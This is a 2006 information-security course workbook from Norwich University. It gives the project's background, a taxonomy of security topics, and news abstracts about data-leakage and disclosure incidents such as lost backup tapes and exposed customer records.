INFOSEC UPDATE 2006

Student Workbook

Norwich University

June 19-20, 2006

M. E. Kabay, PhD, CISSP-ISSMP
Assoc. Prof. Information Assurance
Program Director, MSIA BSIA
Division of Business Management
Norwich University

mekabay@gmail.com

01 Introduction

Category 01 *Introduction*

2006-06-12 **Introduction**

M. E. Kabay, PhD, CISSP

WELCOME

Welcome to the 2005 edition of the Information Security Year in Review (IYIR) project.

In 1993 and 1994, I was an adjunct professor in the Institute for Government Informatics Professionals in Ottawa, Canada under the aegis of the University of Ottawa. I taught a one-semester course introducting information security to government personnel and enjoyed the experience immensely. Many of the chapters of my 1996 textbook, _The NCSA Guide to Enterprise Security_ published by McGraw-Hill were field-tested by my students.

In 1995, I was asked if I could run a seminar for graduates of my courses to bring them up to date on developments across the entire field of information security. Our course had twenty students and I so enjoyed it that I continued to develop the material and teach the course with the NCSA (National Computer Security Association; later called ICSA and then eventually renamed TruSecure Corporation and finally CyberTrust, its current name) all over the United States, Canada, Europe, Asia and the Caribbean.

After a few years of working on this project, it became obvious that saving abstracts in a WordPerfect file was not going to cut it as an orderly method for organizing the increasing mass of information that I was encountering in my research. I developed a simple database in 1997 and have continued to refine it ever since then. The database allows me to store information in an orderly way and -- most important -- to _find_ the information quickly. For that purpose, I put in as many keywords as I can think of quickly; I also classify each topic using a taxonomy that has grown in complexity and coverage over the years (more about the taxonomy in the next section).

In 2004, I was privileged to begin working with Norwich students Karthik Raman (project leader), Krenar Komoni and Irfan Sehic as my research assistants. These excellent students have provided invaluable assistance in transferring data from NewsScan, NIPC/DHS reports and other sources into the database and have also done the first cut of classification and keyword generation. They have enormously improved the coverage of the field and are continuing their work with me to expand the database to further sources in the coming year. It is difficult to estimate the hundreds of hours of time they have saved me.

Starting in 2006, I have begun relying on MSIA alumni/alumnae to process and produce abstracts for the IYIR database.

I teach the INFOSEC UPDATE course as a two-day workshop for my graduate students in the Master of Science in Information Assurance at Norwich University every June during their graduate week and then periodically during the year at different institutions as the occasion arises.

The complete IYIR reports are posted on my Web site now; see the introductory page at < http://www2.norwich.edu/mkabay/index.htm > and click on the IYIR button for a list of PDF files you can read on screen, search, or print out at will. The database is also available for download in Access 2002 and Access 2000 formats (both raw and compressed into WinZIP archives) for the full period and for the most recent year.

02 Taxonomy of INFOSEC Issues

Category 02 *Taxonomy of INFOSEC Issues*

2006-06-12 **Introduction**

INTRODUCTION

TAXONOMY

The taxonomy (classification scheme) of INFOSEC issues has grown over the years since I began the IYIR project. This taxonomy in now way represents a structurally sound classification with unambiguous, non-overlapping, atomic concepts; it is simply an organic development of my wish to present information in an orderly way in my courses and to be able to find examples of specific issues when I need them for teaching or writing.

The taxonomy changes almost every time I use it; the current taxonomy is listed in the reports and is used throughout this edition of the IYIR report as well as in the INFOSEC UPDATE course based on the IYIR. The current taxonomy is available as a PDF file from the Web site.

Code Description
0 Unclassified
01 Introduction
02 Taxonomy of INFOSEC Issues
03 Sources of Information
04 Copyright
05 Using IYIR
06 The INFOSEC UPDATE Course
07 Acknowledgements
08 About the Editor
10 Computer Crimes (cases, indictments, convictions, sentences)
11 Breaches of confidentiality
11.1 Data leakage
11.2 Unauthorized disclosure
11.3 Data theft
11.4 Covert channels
12 Wiretapping, interception (not jamming; not govt/law enforcement)
12.1 Wiretapping
12.2 Interception
12.3 Injection
13 Data diddling, data corruption, embezzlement
13.1 Data diddling
13.2 Data corruption & destruction
13.3 Embezzlement
13.4 Obsolescence
14 Viruses, virus-hoaxes, Trojans (assembly level or macro: not ActiveX or Java)
14.1 Viruses
14.2 Worms
14.3 Virus/worms
14.4 Trojans
14.5 Virus hoaxes
15 Fraud (not embezzlement), extortion, slamming
15.1 Fraud
15.2 Extortion
15.3 Slamming
16 INFOWAR, industrial espionage, hacktivism
16.1 Industrial espionage
16.2 Industrial information systems sabotage
16.3 Infrastructure protection & homeland security
16.4 Military & government perspectives on INFOWAR
16.5 Hacktivism
16.6 Disinformation, PSYOPS
17 Penetration, phreaking, cramming, uncapping (entering systems, stealing telephone or other services)
17.1 Penetration
17.2 Web vandalism
17.3 Phreaking, cramming, uncapping, theft of services
18 Theft/loss of equipment (laptops, ATMs, computers, cables, network components)
18.1 Theft of equipment

18.2 Loss of equipment
19 Counterfeits, forgery (including commercial software/music piracy)
19.1 Software piracy
19.2 Music piracy
19.3 Movies / TV piracy
19.4 Books / e-books piracy
19.5 Games piracy
19.6 Counterfeit currency, credit-cards, other negotiable tokens
19.7 Counterfeit legal or business documents
19.8 Plagiarism
19.9 Counterfeit products (hardware, clothing etc.)
1A Criminal hacker scene (conventions, meetings, testimony, biographies, publications)
1A1 Criminal hacker conventions and meetings
1A2 Criminal hacker testimony in court or committees
1A3 Biographical notes on individual criminals (including arrests, trials)
1A4 Criminal hacker publications
1A5 Criminal hacker organizations
1A6 Criminal hacker psychology
1B Pornography, Net-harm, cyberstalking, gambling, online auctions
1B1 Adult pornography
1B2 Child pornography
1B3 Pedophilia, kidnapping, Net-adoption fraud
1B4 Stalking & harassment
1B5 Gambling
1B6 Auctions
1B7 Hate groups, speech
1B8 Traffic in women, slavery
1B9 Non-virus hoaxes, urban myths
1C Identity, impersonation, spoofing
1C1 Impersonation
1C2 Identity theft
1C3 Pseudonymity
1C4 Anonymity
1C5 Phishing
1D Law Enforcement & Forensics (technology, organizations, proposals, litigation, rulings, judgements)
1D1 Organizations, cooperation for law enforcement
1D2 Technology for law enforcement
1D3 Litigation, legal rulings, judgements affecting law enforcement
1D4 Government funding for law enforcement
1E Homeland Security
20 Emerging Vulnerabilities & Defenses
21 Quality assurance failures including design flaws
21.1 General QA failures
21.2 Security product QA failures
21.3 Embedded processors
21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls
21.5 Robots
22 Availability problems
22.1 DoS attacks
22.2 DDoS attacks
22.3 DoS countermeasures
22.4 Accidental availability disruptions
23 Internet tools
23.1 Java
23.2 Javascript
23.3 ActiveX
23.4 HTML, XML
23.5 E-mail & instant messaging or chat
23.6 Web-site infrastructure, general Web security issues
23.7 VoIP
23.8 SMS
24 Operating systems, network operating systems,TCP/IP problems (alerts & improvements)
24.1 Windows 9x/Me
24.2 Windows NT/2K/XP
24.3 UNIX flavors
24.4 TCP/IP, HTTP, DNS

24.5 LAN OS
24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax
24.7 SWDR (Software-defined radio)
24.8 MAC OS
24.9 Peer-to-peer networking
24.A Secure processors
24.B Robust systems (hw / sw)
25 Computer remote control & disruption
25.1 Remote control, RATs, reprogramming, auto-updates
25.2 Jamming
25.3 RFI, HERF, EMP/T
26 Health effects of electronic equipment (phones, screens, etc.)
26.1 Radiation
26.2 Toxic materials
26.3 Heat
27 Security tools
27.1 Vulnerability assessment
27.2 Port scans
27.3 Intrusion detection systems
27.4 Firewalls & other perimeter defenses
27.5 Honeypots
27.6 Honeynets
27.7 Anti-malware technology
28 Automated surveillance
28.1 Spyware, Web bugs & cookies
28.2 Scumware
28.3 Keystroke loggers
28.4 Cell/mobile phones/GPS/cameras
28.5 Serial numbers
28.6 RFID tags
29 Sociology of cyberspace
29.1 Addiction, games & violence
29.2 Cyberdating & cybersex
29.3 Digital divide
29.4 Online & electronic voting
29.5 Online legal proceedings
29.6 Flash crowds, social e-links
29.7 Outsourcing
30 Management & Policy
31 The state of information security & technology
31.1 Surveys, studies, audits of security
31.2 Estimates, guesses, predictions, forecasts concerning security
31.3 New technology with security implications
31.4 Outsourcing
32 Censorship, indecency laws, 1st amendment (law)
32.1 Censorship in the USA
32.2 Censorship outside the USA
33 Policies, risk analysis, risk management
33.1 Acceptable use policies
33.2 Spam, spim, spit & splogs
33.3 Antispam
33.4 Authorization, access controls
33.5 Risk analysis & management
34 Net filters, monitoring (technologies)
34.1 Net filters
34.2 Usage monitoring, audit trails (employees, children)
35 DNS conflicts, trademark violations (Net, Web)
35.1 Cybersquatting
35.2 Trademarks vs DNS
35.3 Politics of the DNS
36 Responses to intrusion
37 Education in security & ethics
37.1 Elementary & middle school
37.2 High school
37.3 Undergraduate degrees
37.4 Master's degrees

37.5 Doctoral degrees
37.6 Industry courses
37.7 Conferences
37.8 Web sites
37.9 White papers
38 Consumer/employee privacy, profiling, trade in personal information
38.1 Consumer profiling
38.2 Trade in personal information
38.3 Industry efforts for privacy protection
38.4 International agreements on security, privacy, Net law
38.5 EU legislation & regulation concerning privacy
38.6 US legislation & regulation concerning privacy
38.7 Other legislation & regulation concerning privacy
38.8 Law enforcement & privacy
38.9 Surveillance
38.A Medical / HIPAA
40 Defensive Technology, Law of E-commerce, Intellectual Property
41 Cryptanalysis techniques & tools
42 Crypto algorithms (weakness, brute-force attacks, implementation flaws)
42.1 Crypto algorithm weaknesses
42.2 Brute-force attacks
42.3 Crypto product implementation flaws
43 I&A products (tokens, biometrics, passwords, Kerberos)
43.1 Tokens
43.2 Biometrics
43.3 Passwords
43.4 Kerberos
43.5 Single sign-on
43.6 E-mail authentication (e.g., SPF & SenderID)
44 Encryption algorithms, products (including steganography)
44.1 Crypto algorithms
44.2 Crypto products
44.3 Steganography
45 E-commerce security, digital signature, products, digital cash, e-payments
45.1 PKI (Digital signatures / certificates)
45.2 Digital cash
45.3 Micropayments
45.4 E-payments / e-wallets / credit-cards
45.5 Watermarks / digital-rights management / copy protection
45.6 Smart cards and other e-commerce security measures
45.7 Sales taxes on Internet commerce
45.8 E-commerce laws
45.9 E-shopping carts
46 Cryptography exports from US; Key escrow
47 US computer-crime laws
48 Foreign cyberlaws (not cases or sentences)
48.1 Non-US cryptography laws
48.2 Non-US computer-crime laws
48.3 Non-US intellectual property laws
49 Privacy, government surveillance, legislation, agreements
4A Evolution of Net law: framing, pointing, linking, jurisdiction
4A1 Framing
4A2 Pointing, linking, deep linking, metatext
4A3 Jurisdiction
4A4 Blocking
4A5 Archives
4A6 Libel
4A7 Spam
4A8 Liability
4B Intellectual property: patents, copyrights (law)
4B1 Copyrights
4B2 Patents
4B3 Reverse engineering
4B4 EULA (End-user license agreements)
4B5 Trademarks
4C Security paradigms, risk management, site-security certification, professional certification

4C1 Paradigms, security standards
4C2 Risk management methodology & tools
4C3 Certification of site security, privacy protection
4C4 Professional certification in security, auditing
4C5 Academic/Industry/Vendor/Govt efforts
4D Funny / miscellaneous

03 Sources of Information

Category 03 *Sources of Information*

2006-06-12 **Introduction**

INTRODUCTION

In the early days, I wrote all the abstracts myself. As the size of the database grew, this practice became a terrible and limiting burden. I was thrilled -- and still am -- to get permission to quote the superb abstracts written by John Gehl and Suzanne Douglas, original editors of EDUPAGE and then of the daily _NewsScan_ (no longer published) and weekly _Innovation_ e-publications. At this point, their work in INNOVATION is a significatn component of the IYIR.

In addition, I have been quoting (with attribution) many of the contributors to Peter G. Neumann's RISKS Forum Digest.

Lately, the Daily Reports from NIPC (National Infrastructure Protection Center) (now the DHS daily report) have proven valuable in supplementing the material at hand.

Bruce Schneier, famed cryptographer and a valued commentator on all matters of security, has kindly allowed me to include excerpts from his monthly columns in his Crypto-Gram newsletter.

I also naturally continue to write my own abstracts of interesting articles when necessary.

For a list of news sources that cover information security news, see < http://www2.norwich.edu/mkabay/overviews/infosec_ed.pdf >.

For more information about NewsScan and Innovation, see < http://www.newsscan.com >.

For more information about RISKS Forum Digest, see the archives at <http://catless.ncl.ac.uk/Risks/ > for HTML versions or at < http://the.wiretapped.net/security/textfiles/risks-digest/ > for text versions.

Dr Neumann asks that reprints from RISKS include the following note and the following should be considered as a blanket notification for all verbatim republication of RISKS materials throughout this database:

* * *
From the
FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks)
ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator
See < http://www.csl.sri.com/users/risko/risksinfo.html > for full information.
Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse.
* * *

Information Security Magazine is at < http://www.infosecmag.com > and subscriptions to the Security Wire Digest are available through < http://infosecuritymag.bellevue.com >.

The NIPC Daily Report is available through < http://www.nipc.gov/ >.

For free subscriptions to Bruce Schneier's Crypto-Gram, see < http://www.counterpane.com/crypto-gram.html >.

04 Copyright

Category 04 *Copyright*

2006-06-12 **Introduction**

INTRODUCTION

As you can see at the bottom of every page of the IYIR report and the INFOSEC UPDATE, I assert copyright over this presentation (only) of the information my research team and I have collected. This is called a _compilation copyright_ and in no way derogates the copyrights of all original copyright holders. My contribution is primarily the organization and presentation of this information. I do hold the copyright on my own abstracts and on the keywords. I assert copyright purely to prevent scoundrels from SELLING what is supposed to be available FREE.

05 Using IYIR

Category 05 *Using IYIR*

2006-06-12 **Introduction**

INTRODUCTION

Anyone who wants to refer to these IYIR and INFOSEC UPDATE documents is completely welcome to do so freely _provided_ that no one tries to make other people pay for the materials. You are welcome to reprint the documents provided that each page you choose to print is in the original format (that's why I use Acrobat PDF files to distribute the information). Just remember, if I ever find out that someone has charged somebody for what I freely give away I am going to be really, really mad!

You may, of course, use the _original_ documents as you and the copyright owners agree.

As for posting these files on your own Web sites, DON'T! I update the files constantly and absolutely do not want to have to hunt down old copies of the work and replace them with newer versions. So you're welcome to link to the files, but please do _not_ copy them to any other Web sites.

06 The INFOSEC UPDATE Course

Category 06 *The INFOSEC UPDATE Course*

2006-06-12 **Introduction**

INTRODUCTION

The INFOSEC UPDATE course is usually a two-day workshop that brings participants up to date on topics across the entire field of information security. The four half-day sessions cover the following broad areas:

Day 1:
AM: Computer Crime Update
PM: Emerging Vulnerabilities

Day 2:
AM: Management , Corporate Policy
PM: Cryptography, Law, Public Policy

For full details, see section 2 on Taxonomy.

I used to prepare slides based on the abstracts so that the students would have a workbook consisting of keywords in the slide and the details at the bottom of the page. However, this approach became unmanageable by the time I reached workbook lengths of 475 pages. It was simply too much effort for relatively minor benefits. I have therefore tried a different, much simpler approach over the last few years. I mark selected topics in my database and create the workbook from a report file. The whole thing takes me a few minutes and allows me to keep the workbook absolutely up to date. I hope that course participants will find it a useful resource and an acceptable format for the course.

During the course, I mark selected abstracts in the book and draw the students' attention to those to stimulate discussion. Usually my problem then becomes stopping the discussion so we can move to a new topic.

07 Acknowledgements

Category 07 *Acknowledgements*

2006-06-12 **Introduction**

INTRODUCTION

ACKNOWLEDGEMENTS

I would like to acknowledge the encouragement and support of many colleagues who have contributed to this project over the years. In particular, John Gehl and Suzanne Douglas, original editors of EDUPAGE and then later of NEWSSCAN and INNOVATION, stand out for their kindness in so generously allowing me to quote them verbatim in so many hundreds of stories. Thanks guys -- I simply could not do this without your help.

The editors of EDUPAGE kindly continued the tradition and have allowed me to include occasional abstracts from their publication.

My colleagues at NCSA / ICSA / TruSecure / CyberTrust Corporation were always supportive and encouraging during the years I continued this work until 2000; I especially thank my favorite curmudgeon, David Kennedy, Director of Resarch for CyberTrust, for many years of continuing friendship.

I also want to thank my colleagues Phil Susmann and COL Tom Aldrich at Norwich University and the National Center for the Study of Counterterrorism and Cybercrime for their encouragement and support and the opportunity to teach the two-day INFOSEC Update for several years at the annual e-ProtectIT Conference (http://www.e-protectIT.org).

My sincere thanks to my Norwich University research assistants, Karthik Raman (Chief Boss Man and Gang Leader), Krenar Komoni, Michael Martell, and Chris Aldrich. Thanks also to MSIA alumni volunteers Clark Cummings and Steve Lovaas for their contributions. Josh Durdin and Lofton Newton, although newcomers to the project, have started their contributions well and I look forward to further work with them.

The School of Graduate Studies, under the leadership of Founding Dean Fred Snow and of Dean Bill Clements, has generously funded the research assistantships that have permitted the project to progress without imposing total exhaustion on me. Many thanks.

Thanks to Dr Fred Snow, former Dean of Online Graduate Studies and to Dr Bill Clements, current Dean, for their support (moral and financial) in building the research team that has made this project easier.

And finally, as always, I thank my wife, Deborah Black, light of my life, for all her infinitely varied support over many years and in all ways.

08 About the Editor

Category 08 *About the Editor*

2006-06-12 **Introduction**

INTRODUCTION

Here's a little information about me. For exhaustive, not to say exhausting, details, you can visit my Web site at < http://www2.norwich.edu/mkabay > and click on my CV link.

I began programming in assembler at age 15 in 1965. In 1976, I received his PhD from Dartmouth College in applied statistics and invertebrate zoology. Joined a compiler team in 1979 for a new 4GL and RDBMS in the U.S. and then joined Hewlett-Packard Canada in 1980, winning the Systems Engineer of the Year Award in 1982. Have published over 850 technical papers in operations management and security, a 1996 textbook on security, was Technical Editor of the 4th Edition of the _Computer Security Handbook_ (Wiley, 2002) and am working on the 5th edition with Senior Editor Sy Bosworth and new third editor Eric Whyne. Have lectured on security and information warfare at the US Army War College, NATO HQ, NATO Counterintelligence, and in the UK, France, Germany, Japan and China. Returned to academia full time in July 2001 and am Associate Professor of Information Assurance in the Division of Business & Management at Norwich University, Northfield, VT 05663-1035 USA as well as the Director of the Master's Program in Information Assurance (http://www.msia.norwich.edu/) and of the Bachelor's program in IA (http://www.norwich.edu/academics/business/informationassurance.html).

V: 802-479-7937
E: mkabay@norwich.edu
W: http://www2.norwich.edu/mkabay

11.1 Data leakage

Category 11.1 *Data leakage*

2005-02-07 **iPods medical imaging UCLA Osirix radiologists Macintosh security**

EDUPAGE; http://news.com.com/2100-1041_3-5566145.html

USING IPODS FOR MEDICAL IMAGING AT UCLA

Physicians at the University of California, Los Angeles (UCLA), are using iPods in conjunction with an open source application developed in-house to avoid some of the steep costs of medical imaging. Physicians Osman Ratib and Antoine Rosset created Osirix, an open source tool that allows radiologists to participate in teleconferences and see high-resolution medical images on desktop Macintosh computers, rather than the $100,000 workstations that were previously required. Files for the 3D images are too large for many media, so Ratib and his team turned to the iPod, which offers a portable storage medium of 60GB. Although some cautioned that using iPods for storage presents a security risk, Ratib said the risk is no greater than with any other medium. "It's not the device, it's how you use it," he said. "When [users] are outside the institution, they can be compliant or not."

Category 11.1 *Data leakage*

2005-04-07 **German police hard drive sale confidential information eBay encryption password protection absent**

DHS IAIP Daily;
http://www.scmagazine.com/news/index.cfm?fuseaction=newsDeta
ils&newsUID=023c9f0f−7295−49c5−b349−847df8e174b2&newsType=La
test%20News

GERMAN POLICE HARD DRIVE CONTAINING CONFIDENTIAL INFORMATION SOLD ON EBAY

A hard drive full of confidential police data has been sold on eBay, for only $25. Germany's Spiegel newspaper reported earlier this week that the 20GB hard drive contained a raft of information about Brandenburg police, including details of political security situations. "This week's exposure of leaked and highly critical information from the Brandenburg police in Germany reinforces how important it is to never let mobile devices or hard drives leave the office without being adequately protected with encryption and strong password protection -- even after they have been discarded," said Peter Larsson, CEO of mobile technology company Pointsec. The drive was eventually bought by a student from Potsdam who alerted police once he realized what it contained.

Category 11.1 *Data leakage*

2005-06-10 **personal information privacy confidentiality control banks magnetic tapes customer data loss theft secure electronic channels**

RISKS; http://www.nytimes.com/2005/06/09/business/09data.html?th&emc=th 23 90

THE SKY HAS *ALREADY* FALLEN

In Feb 2004, a Japanese division of Citibank had a mag tape disappear during shipment by truck from its data management center in Singapore, with information on about 120,000 customers. The tape has never been found. This week it happened again to a box of tapes sent by United Parcel Service, with info on nearly 4,000,000 American customers. Citigroup is apparently in the process of responding to the Singapore case with the company-wide introduction of "secure electronic channels" -- although that process is not yet complete. [Tom Zeller Jr., *The New York Times*, 9 Jun 2005; abstract by PGN]

Zeller's article has more on ChoicePoint, 10 million consumers falling victim to identity theft each year, discussion of the 2003 California law that mandates reporting, and this delightful quote from Mike Gibbons (former FBI chief of cybercrime investigations, now a consultant for Unisys): "I think there are some people who dismiss this as a sky-is-falling problem. But the sky has already fallen and it's just a matter of when a piece hits you in the head."

Also a quote from Bruce Schneier: "There are social expectations about security that can't be met, but the practices are still so shoddy."

Category 11.1 Data leakage

2005-07-31 **data leakage discarded systems data software wiping erasure scavenging backups**

RISKS; http://www.geoffreyhuntley.com/news/data-security-101/ 23 95

WIPE YOUR DISKS BEFORE SELLING YOUR COMPUTERS -- AND DON'T INCLUDE BACKUP TAPES

The State Transit Authority of New South Wales in Australia sold 18 IBM RS/6000 E30 servers to the company where Geoffrey Huntley works. He found that "[T]he systems contained not only the complete software used by the SAT-NSW but also employee data including PIN information used to 'secure' the system against unauthorized access, and ticketing data including incident reports filed by customers. For good measure, the backup tapes were also included."

[Abstract by Florian Liekweg]

Category 11.1 Data leakage

2005-10-01 **data theft identity theft terminology dataflation privacy law court proof**

Information Security Magazine; http://tinyurl.com/9aanv

STEPHEN COBB COINS NEW TERM: DATAFLATION

Security expert Stephen Cobb writes,

>I think most people would agree that 2005 has not been, so far, a good year for information security. Indeed, when you add up the total number of personal data records reported as compromised in the first six months you get a figure that some people justly consider alarming: 66 million. But I suggest that this number, and the phenomenon it represents, goes way beyond alarming, way out into previously uncharted territory. In fact, I respectfully suggest that we don't yet have the vocabulary needed to describe what is happening to personal data today, let alone understand all of the implications.

In an effort to remedy this situation I propose a new word for that vocabulary: dataflation. But before I offer my definition of dataflation, let me provide some context for that 66 million. In the most recent U.S. census the number of Americans aged 18 or older was 210 million. If you factor in the numerous compromises of personal data records that occurred in 2004, it is entirely possible that data relating to one in three American adults is now "out there," available to be abused. <

[More in the complete article.]

Category 11.1 Data leakage

2005-11-21 **hurricane Katrina disaster lost records encryption backups critical**

DHS IAIP Daily; http://fcw.com/article91509−11−21−05−Print

LOST RECORDS CONVINCE OFFICIALS THAT ENCRYPTED DIGITAL BACKUPS ARE CRUCIAL

After Hurricane Katrina devastated the Gulf Coast region, along with many vital records, federal officials realized they needed to digitize such records to prevent future data loss. But storage analysts say federal agencies are behind the curve when it comes to safeguarding digitized records stored elsewhere. Federal agencies are not encrypting their off-site data, said Jon Oltsik, a senior analyst at research firm Enterprise Strategy Group. Katrina's destruction demonstrated the importance of electronic backup copies of documents such as health records and flood maps. But by keeping copies of critical information, agencies also create new opportunities for data theft. Oltsik is the author of a recent survey that asked 388 agencies and companies whether they encrypt backup data as they copy it to tape. "Of the five industry segments we looked at, [the local/federal] government was the worst," he said. Only three percent of government organizations said they always encrypt backup data, and 77 percent said they never do. Overall, only seven percent of the organizations surveyed said they always encrypt backup data, despite the fact that vendors have offered backup encryption tools for at least 15 years, Oltsik said.

Category 11.1 Data leakage

2005-12-28 **data loss personal data employees customers tapes SSN Social Security Numbers**

RISKS; Boston Globe; http://tinyurl.com/nnrxl 24 14

MARRIOTT LOSES CONTROL OF DATA ON BACKUP TAPES

The timeshare unit of Marriott International Inc. is notifying more than 200,000 people that their personal data are missing after backup computer tapes went missing from a Florida office. The data relates to 206,000 employees, timeshare owners and timeshare customers of Marriott Vacation Club International, the company said in a statement Tuesday. The computer tapes were stored in Orlando, where the unit is based.

The company did not say when the tapes disappeared. They contained Social Security numbers, bank and credit card numbers, according to letters the company began sending customers on Saturday. . . . [Abstract by Monty Solomon]

Category 11.1 Data leakage

2006-01-12 **bank tape Social Security Numbers SSN loss data leakage confidentiality privacy**

RISKS; http://tinyurl.com/qy29o 24 15

PEOPLE'S BANK LOSES TAPE WITH PERSONAL DATA ABOUT 90,000 CUSTOMERS

According to John Christoffersen of Associated Press, "A tape containing the Social Security numbers and other confidential data of 90,000 People's Bank customers was lost recently while en route to a credit reporting bureau, state and bank officials said Wednesday [11 Jan 2006]."

As usual, bank employees cheerfully asserted that there was no reason to be concerned by the loss. "People's has no reason to believe the data has been used inappropriately and has received no reports of unauthorized activity, officials said. Customers do not need to close accounts because the information is not sufficient to allow unauthorized access, the bank said."

Category 11.1 Data leakage

2006-02-10 **EFF privacy concern Google Desktop Search government subpoena**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4700002.stm

EFF RAISES CONCERNS OVER GOOGLE DESKTOP

The Electronic Frontier Foundation (EFF) is warning users about what it says are privacy concerns with Google's new Desktop Search application. The tool indexes files from a computer, allowing users to search that content from other machines. According to the EFF, this process poses significant risks to personal privacy, particularly in light of recent government demands for access to usage logs from Google and other companies. EFF staff attorney Kevin Bankston said, "Unless you configure Google Desktop very carefully, and few people will, Google will have copies of...whatever...text-based documents the desktop software can index." If federal authorities obtain Google's records, he said, they would have access to all of those files. Officials from Google conceded that the new tool does represent a trade-off of some measure of privacy, but said such a compromise is one that many users will be willing to make. The company also said it would encrypt those files, would place strong limits on who can access the information, and would not store it for more than 30 days.

Category 11.1 Data leakage

2006-04-03 **Trend Micro data leakage virus anti-virus software not installed employee computer**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/holes/s
tory/0,10801,110142,00.html

TREND MICRO DATA REVEALED DUE TO VIRUS.

The failure of a Trend Micro Inc. employee to install his company's own antivirus software led to the uploading of some company reports to a popular Japanese peer-to-peer file-sharing network, the company said Monday, April 3. In disclosing the data leak, Trend Micro became the latest of a number of corporations or government agencies to report data losses as a result of viruses on the Winny network. Winny can be downloaded at no charge and is a popular way for Japanese Internet users to exchange music and video files.

Category 11.1 *Data leakage*

2006-04-28 **data leakage confidentiality privacy virus**

RISKS 24 27

JAPANESE NEWSPAPER LEAKS SUBSCRIBER INFORMATION TO INTERNET

The Mainichi Shimbun reported that information on about 66,000 subscribers (including names, addresses, phone numbers, dates of birth, and e-mail addresses) was leaked onto the Internet. This resulted from an employee copying the data onto his own computer, which was thought to have been infected with a virus that exploited a vulnerability in the *Share* file-sharing application.

[Abstract by Peter G. Neumann]

Category 11.1 *Data leakage*

2006-05-04 **Ohio University personal data disclosure Social Security numbers**

EDUPAGE; http://chronicle.com/daily/2006/05/2006050401t.htm

OHIO UNIVERSITY EXPOSES PERSONAL DATA

Officials at Ohio University said that a compromised server exposed personal information on about 300,000 individuals for more than a year. William Sams, CIO and associate provost for information technology at the university, said unusually high traffic tipped off IT staff that there was a problem. After investigation, it was determined that hackers had accessed a server that contained an alumni database that included more than 137,000 Social Security numbers as well as data on donations and amounts. The database did not include credit card information. Sams said the data had been exposed since March 2005. The university is working to notify individuals whose data was exposed and to offer them advice about how to minimize the risk of identity theft. Two people in the database have reported misuse of their personal information. Although one was found to be unrelated to the breach at Ohio University, officials are still trying to determine if the other incident is connected.

11.2 Unauthorized disclosure

Category 11.2 Unauthorized disclosure

2004-12-02 **government agencies lock down desktop security sensitive data disclosure prevention**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml;jsess ionid=TCYMTS5YRH1B0QSNDBGCKHSCJUMEKJVN?articleID=54202021

GOVERNMENT AGENCIES LOCK DOWN DESKTOPS.

The Defense and Energy departments are leveraging desktop technologies to shore up security and better protect sensitive U.S. government data. The U.S. Department of Defense is leveraging PC blades to address a longtime concern that electromagnetic waves and stray currents or voltages containing key characteristics of classified data could be intercepted by enemies of the United States and used to reconstruct that classified data and compromise national security. The Energy Department has been shoring up security since it learned that as many as several hundred of its computers were stolen, lost, or improperly inventoried at Los Alamos National Laboratory between 1999 and 2002. For these two departments, security starts at the desktop, where new configurations are being deployed to keep data safely stored away on back-end servers.

Category 11.2 Unauthorized disclosure

2005-01-14 **Apple Harvard student information products**

EDUPAGE; http://online.wsj.com/article/0,,SB110566157500825906,00.html

APPLE SUES HARVARD STUDENT

Apple Computer has filed a lawsuit against the operator of a Web site that revealed information about upcoming products before the company publicly unveiled them. The ThinkSecret Web site posted rumors of a sub-$500 Macintosh computer and an iPod that uses flash memory just days before those products were announced at the Macworld show. Apple has a reputation for being one of the most secretive high-tech companies concerning new products, and it alleges that the information posted by ThinkSecret was obtained illegally. The operator of the site, however, which many industry analysts regard as one of the premier rumor sites about Apple, turned out to be 19-year-old Nick Ciarelli, a freshman at Harvard. Ciarelli, who started the site six years ago, said he has done nothing wrong in collecting material to post. "My reporting practices are the same that any journalists use," he said. "I talk to sources, I confirm details, I follow up on tips and leads that I get." Intellectual-property attorney Robert E. Camors said it will be difficult for Apple to prove harm in the case because the information revealed does not constitute trade secrets as traditionally defined and because the information was not revealed sufficiently ahead of company announcements for competitors to benefit from it.

Category 11.2 Unauthorized disclosure

2005-01-26 **data leakage unauthorized disclosure medical information Web site university FERPA legal liability pharmaceutical usage drug history**

RISKS 23 68

HARVARD UNIVERSITY DATA LEAKAGE OCCASIONS HORRIBLE PUN

RISKS moderator Peter G. Neumann reported on a case of potential data leakage:

An investigation by *The Harvard Crimson* was reported in that newspaper on 21 Jan 2005, noting that a Harvard University website, iCommons Poll Tool, for months had contained confidential information on the drug purchase history of students and employees that was easily accessible to outsiders. After *The Crimson* demonstrated this to university officials, the website was immediately shut down. Authentication information required for access was based on a Harvard ID and birthdate that were easily available on the Web. In addition, the Family Educational Rights Privacy Act (FERPA) requires that students may request a special security status for total privacy, and that status was not properly enforced. The university's drug insurer, PharmaCare, also had the same problems -- which still existed at the time of the article in *The Crimson*. This is seemingly a violation of the HIPAA legislation, which prohibits unauthorized disclosure of individual's medical records.

[I suppose if medicinal uses of marijuana were covered by insurance,
someone might have found the situation HIPAA-pot-amus-ing. PGN]

Category 11.2 *Unauthorized disclosure*

2005-02-02 **Acer Australia privacy breach confidentiality customer details shoppers Web site e-mail orders**

NewsScan; http://australianit.news.com.au/articles/0

PRIVACY BREACH AT ACER SITE

Acer's online customers suffered a major privacy breach after the computer maker's Australian shopping website exposed their personal details to other shoppers using the service. The online shopping portal www.shopacer.com.au revealed purchase order information including names, delivery addresses, e-mails and contact numbers of customers who had recently placed orders at the site. Customer credit card numbers were not disclosed. Customers who logged on to the site to check the status of their equipment orders via a bookmark stored in their web browser were freely able to access order details of other customers. (The Australian 2 Feb 2005)

Category 11.2 *Unauthorized disclosure*

2005-02-10 **Mailman flaw mail list software password information disclosure Apache vulnerable update issued**

DHS IAIP Daily; http://news.com.com/Flaw+in+mail−list+software+leaks+passwor ds/2100−1002_3−5571576.html?tag=nefd.top

FLAW IN MAIL-LIST SOFTWARE LEAKS PASSWORDS

